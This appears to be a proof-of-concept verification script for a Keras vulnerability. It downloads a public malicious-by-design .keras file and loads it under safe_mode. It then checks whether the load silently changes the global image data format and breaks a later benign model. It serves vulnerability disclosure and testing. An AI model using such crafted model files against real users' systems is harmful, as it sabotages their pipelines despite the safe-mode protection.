#!/usr/bin/env python3
"""Verify the public Keras set_image_data_format payload against a later benign model."""

from __future__ import annotations

import json
import os
import shutil
import tempfile
import urllib.request
from pathlib import Path

import numpy as np


URL = (
    "https://huggingface.co/hacnho/keras-set-image-data-format-poc/resolve/main/"
    "dead_switch_keras_config_set_image_data_format.keras"
)


def benign_run(keras_module) -> dict:
    x = np.array([[[[1.0], [2.0]], [[3.0], [4.0]]]], dtype=np.float32)
    inp = keras_module.Input(shape=(2, 2, 1))
    out = keras_module.layers.Conv2D(1, (1, 1), use_bias=False, kernel_initializer="ones")(inp)
    model = keras_module.Model(inp, out)
    y = model(x)
    return {
        "image_data_format": keras_module.config.image_data_format(),
        "out_shape": list(y.shape),
        "out_dtype": str(y.dtype),
        "out_value": y.tolist(),
    }


def main() -> int:
    os.environ.setdefault("KERAS_BACKEND", "numpy")
    td = Path(tempfile.mkdtemp(prefix="hf_keras_imgfmt_"))
    try:
        dst = td / "dead_switch_keras_config_set_image_data_format.keras"
        urllib.request.urlretrieve(URL, dst)

        import keras

        payload = {"load_result": None, "before": None, "before_exc": None, "after": None, "after_exc": None}
        try:
            keras.config.set_image_data_format("channels_last")
            payload["before"] = benign_run(keras)
        except Exception as exc:  # noqa: BLE001
            payload["before_exc"] = f"{type(exc).__name__}: {exc}"

        try:
            loaded = keras.saving.load_model(dst, safe_mode=True)
            payload["load_result"] = f"ok:{type(loaded).__name__}"
        except Exception as exc:  # noqa: BLE001
            payload["load_result"] = f"{type(exc).__name__}: {exc}"

        try:
            payload["after"] = benign_run(keras)
        except Exception as exc:  # noqa: BLE001
            payload["after_exc"] = f"{type(exc).__name__}: {exc}"

        print(json.dumps(payload, indent=2))
        return 0
    finally:
        shutil.rmtree(td, ignore_errors=True)


if __name__ == "__main__":
    raise SystemExit(main())